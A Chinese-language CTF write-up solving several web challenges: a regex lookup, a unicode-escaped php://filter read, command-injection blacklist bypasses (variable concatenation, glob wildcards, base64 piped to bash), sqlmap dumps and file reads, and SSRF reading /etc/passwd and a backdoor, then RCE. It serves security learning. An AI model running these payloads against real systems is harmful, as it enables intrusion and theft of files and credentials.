read-data

先下载附件顺便打开题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require('express')

const app = express();
const port = 3000;
const fs = require('fs')
try {
const inputD = fs.readFileSync('table.txt', 'utf-8');
text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
console.error("读取文件出错:", err);
process.exit(1);
}

app.get('/', (req, res) => {
if (!req.query.name) {
res.send("你查询了吗? XD")
return;
}
let goodLines = []
text.forEach( line => {
if (line.match(req.query.name)) {
goodLines.push(line)
}
});
res.json({"查询结果":goodLines})
})

app.get('/:id/:firstName/:lastName', (req, res) => {

res.send("FLAG")
})

app.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

35e611f6b1f16b09.png

审计代码

3e10a020800f93e4.png

我们可以看出要用name变量传参

我们使用get传参方式来查找table.txt里面的内容

构造payload:

../?name=. 来查找内容

ced4e1fd1158569e.png

根据提示

72309f3cf1f166d3.png

所以Flag Holder 是51

再看看Java代码

我们构造payload:/51/Flag/Holder

b80d706e1e8fee99.png

flag出了,问题解决。

try_rce_me

打开题目

题目类似于[HarekazeCTF2019]encode_and_encode

知识点

  • JSON基础
  • PHP伪协议

c380be28746cd785.png

审计分析

意思很明白,我们要使用post方式传入格式为{"pages":"xxxx"}的内容,然后page的值传到了$content里面,然后需要绕过

1
2
3
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}

$content的值就会被替换,然后需要绕过preg_match(),不然值也会被替换,没想到怎么绕过这个东西

发现这个题目的关键地方是json_decode会将\uxxx进行转义,这样就可以绕过is_valid的检测

f61ea0a733340868.png

本地测试

1
2
3
4
5
6
7
8
9
<?php
//\u0070\u0068\u0070是php的unicode编码
$body = '{"page":"\u0070\u0068\u0070"}';

echo $body;
$json = json_decode($body,true);
echo "\n";
var_dump($json);

57566dd4a5ecd048.png

所以最终的payload配合上php://filter就可以得到flag

filter协议:

1
2
3
4
5
php://filter/convert.base64-encode/resource=/flag

unicode编码:

\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067
1
{"pages":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}

建议使用bp发包

ee40434f8378b250.png

1
{"content":"ZmxhZ3s5MzkyOTZjZC05YzYzLTQyNzMtYmVlZi0zZjViOTJlN2U5ZDh9Cg=="}

base64解码

flag{939296cd-9c63-4273-beef-3f5b92e7e9d8}

问题解决

simple_php

知识点 RCE绕过方法,代码审计

打开题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);

highlight_file(__FILE__);

function is_safe($input) {
$blacklist = [
'\.\.',
'flag',
'\\\\'
];
$pattern = '/' . implode('|', $blacklist) . '/i';
return !preg_match($pattern, $input);
}

$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);

if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false )
{
$cmd = $parsedJson['cmd'];
if(!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) {
system($cmd);
print_r("Ok,I seem to be safe!");
}
}

代码审计

1
2
3
4
5
6
7
8
9
function is_safe($input) {
$blacklist = [
'\.\.',
'flag',
'\\\\'
];
$pattern = '/' . implode('|', $blacklist) . '/i';
return !preg_match($pattern, $input);
}

函数功能使含有 ‘..‘, ‘flag’, ‘\\‘ 的内容分隔开所以我们该去注意payload格式

1
2
3
4
5
6
7
if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false )
{
$cmd = $parsedJson['cmd'];
if(!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) {
system($cmd);
print_r("Ok,I seem to be safe!");
}

第一个if

输入验证和过滤:

  • 确保 is_safe 函数充分验证 cmd 的安全性。
  • is_safe 函数应该包括防止 SQL 注入、XSS(跨站脚本攻击)、命令注入等攻击的检查。

防止JSON注入:

  • strpos($requestBody, '\u') === false 检查 JSON 转义序列是否存在。这可以防止某些 JSON 注入攻击,但并不是全面的解决方案。
  • 确保对整个输入数据进行严格的 JSON 解码和验证。

第二个if过滤了许多的命令 ,之后我们要执行system打开flag.txte67ea90cb9ad97d6.png

于是我们想到绕过 这里我们用了拼接绕过和[glob通配符]绕过我们现在构造payload

在抓包之后在bp里面POST传参

这里有好几种payload:

1: {“cmd”:”a=ca&&b=t&&$a$b /[e-h][k-m][0-b][e-h][+-0]txt”}

2: {“cmd”:”c=Y2F0IC9mbGFn&&d=LnR4dA==&&a=bas&&b=h&&echo $c$d|base64 -d|$a$b”}
3: {“cmd”:”f=l&&g=s&&h=he&&i=ad&&j=txt&&a=ca&&b=t&&c=fla&&d=g&&e=$($f$g -a|$h$i -n 1)&&$a$b /$c$d$e$j”}

21f89e5c104c5757.png

simple_php_revenge

这个与上面的类似 就多了个过滤了 ` 符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);

highlight_file(__FILE__);

function is_safe($input) {
$blacklist = [
'\.\.',
'flag',
'\\\\'
];
$pattern = '/' . implode('|', $blacklist) . '/i';
return !preg_match($pattern, $input);
}

$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);

if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) {
$cmd = $parsedJson['cmd'];
if (!preg_match('/ls|\`|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) {
system($cmd);
print_r("Ok,I seem to be safe!");
}
}

这里有好几种payload:

1: {“cmd”:”a=ca&&b=t&&$a$b /[e-h][k-m][0-b][e-h][+-0]txt”}

2: {“cmd”:”c=Y2F0IC9mbGFn&&d=LnR4dA==&&a=bas&&b=h&&echo $c$d|base64 -d|$a$b”}
3: {“cmd”:”f=l&&g=s&&h=he&&i=ad&&j=txt&&a=ca&&b=t&&c=fla&&d=g&&e=$($f$g -a|$h$i -n 1)&&$a$b /$c$d$e$j”}

同样适合

484ec0543bf08c12.png

问题解决。

人才(做的)管理系统 by hacked_1

知识点:代码审计

4bff9f675dbee91c.png

经过各种方法发现

看源码去

a3c3e653a9edd047.png

发现index.html

访问看看

4170bcb1be57323c.png

解决问题

人才(做的)管理系统 by hacked_2

知识点:

利用sqlmap进行POST注入,常见的有三种方法:

打开题目

13424cb7dfe906a8.png

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

03e37d9b81fb21ae.png

1
1.txt内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login HTTP/1.1
Host: 47.121.24.182
Content-Length: 21
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://47.121.24.182
Referer: http://47.121.24.182/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=1&password=1

2.列数据库:

1
sqlmap -r "1.txt" --dbs

0a37a499a86d8c90.png

3.猜表

选择一个数据库,比如选staff(这个比较可疑)

61b372d5a8591efc.png

查查flag表

4.猜列

sqlmap -r “1.txt” -D staff -T flag –columns

1f03a63a9044083f.png

5.猜数据

sqlmap -r “1.txt” -D staff -T flag -C “flag” –dump

dcba6d98cbc0d15d.png

flag出了

flag{U_@re_Sq1_M@ster}

人才(做的)管理系统 by hacked_3

还是利用sqlmap来注入拿shell(目前只会)

拿shell首先

使用命令:

1
sqlmap -r '/home/kali/桌面/1.txt'  --sql-shell

4e6513db94684ede.png

继续查找flag 看提示

038a11ca85bd1a8d.png

于是我们输入命令

1
select load_file('/flag')

cc81c0cfa83fa474.png

flag出了

flag{U_@re_Very_ok}

问题解决

love_cms

知识点:漏洞利用,ssrf,rce

966f216f3b0c62b4.png

题目还有附件我们可以下载看看对应提示来理解

在附件中我们利用D盾查找到

746c042e6093cc9d.png

1
src\application\admin\controller\system_manage.class.php

2075a90b7d10c8e8.png

我们去试试传参

题目给出ssrf提示我们构造payload看看

1
prohibit_words=file:///etc/passwd&dosubmit=1

有回显

9d38739c4903838f.png

在附件根目录中我们发现可疑文件backdoor.php

65677ea61a4378bf.png

打开里面是空的因为他是附件题目里面肯定是有的,这就是后门我们读取这个文件内容

在题目中这个文件目录会改变位置到

1
/var/www/html/backdoor.php

,我们就需要用ssrf命令去读取它

payload

1
prohibit_words=file:///var/www/html/backdoor.php&dosubmit=1

ctrl+U看源码(因为页面刷新很快)
2f643a8851cf30be.png

使用get传参

之后我们正常rce命令读取

payload:

1
http://47.121.24.182:8000/backdoor.php/?SV9sb3ZlX215X2dpcmxmcmllbmRfdmVyeV9tdWNo=ls  /

35b899a9f0922674.png

1
http://47.121.24.182:8000/backdoor.php/?SV9sb3ZlX215X2dpcmxmcmllbmRfdmVyeV9tdWNo=cat  /flagaaaaaaaaaaaaaaaaaaaaag

6a8ba0df96155e2a.png